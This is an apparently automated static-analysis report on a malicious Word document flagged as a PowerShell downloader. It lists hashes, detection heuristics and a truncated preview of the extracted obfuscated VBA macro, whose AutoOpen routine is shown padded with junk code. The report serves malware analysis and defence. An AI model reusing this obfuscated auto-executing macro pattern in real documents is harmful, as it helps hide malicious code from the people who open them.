Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c00a0e49147f078c…

MALICIOUS

Office (OLE)

218.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 9c97908932efeb793a3a9ac184a73447 SHA-1: d010a561f90da7f329623d25bd2f2b15d4036606 SHA-256: c00a0e49147f078c33debf147e6c3dc32ae12b8907f26866fe2e9476e0e4eac4
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a legacy WordBasic AutoOpen macro. The presence of the AutoOpen marker and the detected VBA macros indicate that the document is designed to execute arbitrary code when opened. The ClamAV detection further confirms its malicious nature, likely as a downloader or initial execution stage.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 97313 bytes
SHA-256: 951f1d864b2463be2bb9ef23c7209f10d9151c43ac14e8381609408acd72d609
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const SyxCULJIJOgoLzOxyWHOjYfVy = 0
Sub AutoOpen()
On Error Resume Next
Dim ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu(5)

If LenB("ReaAPAhyNur") < 26519 Then
ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu(0) = VarType(Sqr(2651) + CInt("2651"))
End If
ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu(1) = LTrim("ReaAPAhyNur") & "99"
ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu(2) = Day(26512651)

If Len("ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu") < Len("ReaAPAhyNur") Then
ZIXEtKAQIiiZYMixizytIDZUwaDeiyCOhu(3) = Weekday(26519)
End If
Dim JEbXETuWuSadJOlYtezIxAgutUxeDOWuZy(5)
Dim nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU(5)

If LenB("NeaIwywadyc") < 62387 Then
nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU(0) = VarType(Sqr(6238) + CInt("6238"))
End If
nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU(1) = LTrim("NeaIwywadyc") & "77"
nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU(2) = Day(62386238)

If Len("nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU") < Len("NeaIwywadyc") Then
nyliKuqYcEwegIfymONIiEiOHYSEsaJUaYfUvU(3) = Weekday(62387)
End If
Dim XYbIzUGEHetAGoLIBlUiUsOB(5)

If LenB("BEcyQYWMAmialUHev") < 18332 Then
XYbIzUGEHetAGoLIBlUiUsOB(0) = VarType(Sqr(1833) + CInt("1833"))
End If
XYbIzUGEHetAGoLIBlUiUsOB(1) = LTrim("BEcyQYWMAmialUHev") & "22"
XYbIzUGEHetAGoLIBlUiUsOB(2) = Day(18331833)

If Len("XYbIzUGEHetAGoLIBlUiUsOB") < Len("BEcyQYWMAmialUHev") Then
XYbIzUGEHetAGoLIBlUiUsOB(3) = Weekday(18332)
End If

Dim XoHadixyqArUNeQABbnUVYGezubONuLeHEzu(5)

If LenB("PyzruryaYseZry") < 30414 Then
XoHadixyqArUNeQABbnUVYGezubONuLeHEzu(0) = VarType(Sqr(3041) + CInt("3041"))
End If
XoHadixyqArUNeQABbnUVYGezubONuLeHEzu(1) = LTrim("PyzruryaYseZry") & "44"
XoHadixyqArUNeQABbnUVYGezubONuLeHEzu(2) = Day(30413041)

If Len("XoHadixyqArUNeQABbnUVYGezubONuLeHEzu") < Len("PyzruryaYseZry") Then
XoHadixyqArUNeQABbnUVYGezubONuLeHEzu(3) = Weekday(30414)
End If
If LenB("VikAmecokeWasoNiwybafU") < 3077 Then
Dim sURYnULVafIKiitOnABoromoQOCPAaECY(5)

If LenB("RYHIbEXDowoWysUpaCaVO") < 33745 Then
sURYnULVafIKiitOnABoromoQOCPAaECY(0) = VarType(Sqr(3374) + CInt("3374"))
End If
sURYnULVafIKiitOnABoromoQOCPAaECY(1) = LTrim("RYHIbEXDowoWysUpaCaVO") & "55"
sURYnULVafIKiitOnABoromoQOCPAaECY(2) = Day(33743374)

If Len("sURYnULVafIKiitOnABoromoQOCPAaECY") < Len("RYHIbEXDowoWysUpaCaVO") Then
sURYnULVafIKiitOnABoromoQOCPAaECY(3) = Weekday(33745)
End If
Dim bYtyKuwiJeNEKyvUbiQYMAguB(5)

If LenB("kevokEuMdOs") < 97828 Then
bYtyKuwiJeNEKyvUbiQYMAguB(0) = VarType(Sqr(9782) + CInt("9782"))
End If
bYtyKuwiJeNEKyvUbiQYMAguB(1) = LTrim("kevokEuMdOs") & "88"
bYtyKuwiJeNEKyvUbiQYMAguB(2) = Day(97829782)

If Len("bYtyKuwiJeNEKyvUbiQYMAguB") < Len("kevokEuMdOs") Then
bYtyKuwiJeNEKyvUbiQYMAguB(3) = Weekday(97828)
End If
JEbXETuWuSadJOlYtezIxAgutUxeDOWuZy(0) = VarType(Sqr(307) + CInt("307"))
End If
Dim DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ(5)

If LenB("MoBuSIkoQekBODiXY") < 62694 Then
DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ(0) = VarType(Sqr(6269) + CInt("6269"))
End If
DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ(1) = LTrim("MoBuSIkoQekBODiXY") & "44"
DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ(2) = Day(62696269)

If Len("DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ") < Len("MoBuSIkoQekBODiXY") Then
DAzYaEtYPajeHJEqoRIYremhIZoxYHIpElOnIXojYpeQ(3) = Weekday(62694)
End If
JEbXETuWuSadJOlYtezIxAgutUxeDOWuZy(1) = LTrim("VikAmecokeWasoNiwybafU") & "77"
Dim sIsaJUJQuTjebuiUUDyxeRomIvAM(5)

If LenB("niASUhOBydavYWyrEkoV") < 63619 Then
sIsaJUJQuTjebuiUUDyxeRomIvAM(0) = VarType(Sqr(6361) + CInt("6361"))
End If
sIsaJUJQuTjebuiUUDyxeRomIvAM(1) = LTrim("niASUhOBydavYWyrEkoV") & "99"
sIsaJUJQuTjebuiUUDyxeRomIvAM(2) = Day(63616361)

If Len("sIsaJUJQuTjebuiUUDyxeRomIvAM") < Len("niASUhOBydavYWyrEkoV") Then
sIsaJUJQuTjebuiUUDyxeRomIvAM(3) = Weekday(63619)
End If
Dim XIMipizOgeTRoLiVYpuJp
... (truncated)

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